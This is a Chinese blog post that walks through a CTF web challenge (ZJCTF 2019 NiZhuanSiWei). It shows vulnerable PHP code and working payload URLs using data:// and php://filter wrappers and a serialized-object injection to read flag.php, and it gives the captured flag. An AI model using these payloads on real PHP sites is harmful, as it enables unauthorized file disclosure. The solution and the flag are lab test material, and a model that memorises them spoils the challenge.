NSSCTF靶场刷题日记

  • 1.[ZJCTF 2019]NiZhuanSiWei
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

分析题目,首先file_get_contents()方法将一个文件读入字符串并与“welcome to the zjctf”做比对,强等于则输出并进入下一步,可以选择用php伪协议的:data://或者php://input之一进行绕过;
http://1.14.71.254:28271/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
第二步正则匹配传入的参数file,无flag关键字则包含该文件,提示有useless.php文件,先伪协议读取一下:php://filter/read=convert.base64-encode/resource=useless.php
http://1.14.71.254:28271/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

解码:

简单的反序列化,__toString()方法:对象被当作字符串处理时,自动触发。恰好原处有个echo,满足需求,直接构造传入即可:

http://1.14.71.254:28271/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D
查看源码,得到flag. NSSCTF{1cadd94a-74a6-409b-9067-2b48d7ab27f7}

posted @   海屿-uf9n1x  阅读(32)  评论(0)    收藏  举报
编辑推荐:
· 如何统计不同电话号码的个数?—位图法
· C#高性能开发之类型系统:从 C# 7.0 到 C# 14 的类型系统演进全景
· 从零实现富文本编辑器#3-基于Delta的线性数据结构模型
· 记一次 .NET某旅行社酒店管理系统 卡死分析
· 长文讲解 MCP 和案例实战
阅读排行:
· C#高性能开发之类型系统:从 C# 7.0 到 C# 14 的类型系统演进全景
· 管理100个小程序-很难吗
· 基于Blazor实现的运输信息管理系统
· 微信支付功能的设计实现与关键实践(UniApp+Java)全代码
· 用c#从头写一个AI agent,实现企业内部自然语言数据统计分析
点击右上角即可分享
微信分享提示